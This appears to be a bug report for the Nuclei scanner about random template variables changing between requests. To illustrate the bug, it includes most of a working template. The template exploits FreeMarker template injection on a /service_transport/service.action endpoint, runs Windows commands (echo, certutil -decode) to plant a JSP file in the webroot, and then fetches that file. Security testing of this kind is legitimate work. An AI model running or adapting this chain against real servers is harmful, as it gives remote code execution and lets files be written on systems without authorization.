Generate random strings that are not the same before and after

[Shea-Des]

Nuclei version:

v3.0.4

Current Behavior:

When I use {{to_lower(rand_base(5))}} to generate random strings, the sequence is not the same when sending the request.

Steps To Reproduce:

This is part of the yaml content I wrote

variables:
  filename: "{{to_lower(rand_base(5))}}"
  value: "{{to_lower(rand_base(5))}}"
  encode: '<% out.print("{{value}}");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>'

requests:
  - raw:
      - |
        @timeout: 15s
        POST /service_transport/service.action HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8,{{wait_for(10)}}
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        
        {
          "command": "GetFZinfo", 
          "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c echo {{base64(encode)}} >./webapps/ROOT/{{filename}}.txt\")}"
        }

      - |
        @timeout: 15s
        POST /service_transport/service.action HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8,{{wait_for(10)}}
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        
        {
          "command": "GetFZinfo", 
          "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c certutil -decode ./webapps/ROOT/{{filename}}.txt ./webapps/ROOT/{{filename}}.jsp\")}"
        }

      - |
        GET /{{filename}}.jsp HTTP/1.1
        Host: {{Hostname}}

I used a random filename generated by {{to_lower(rand_base(5))}} to save the filename, but when the request was successful, it was obvious that the filename filename was different in the three times the request was made, as follows

Anything else: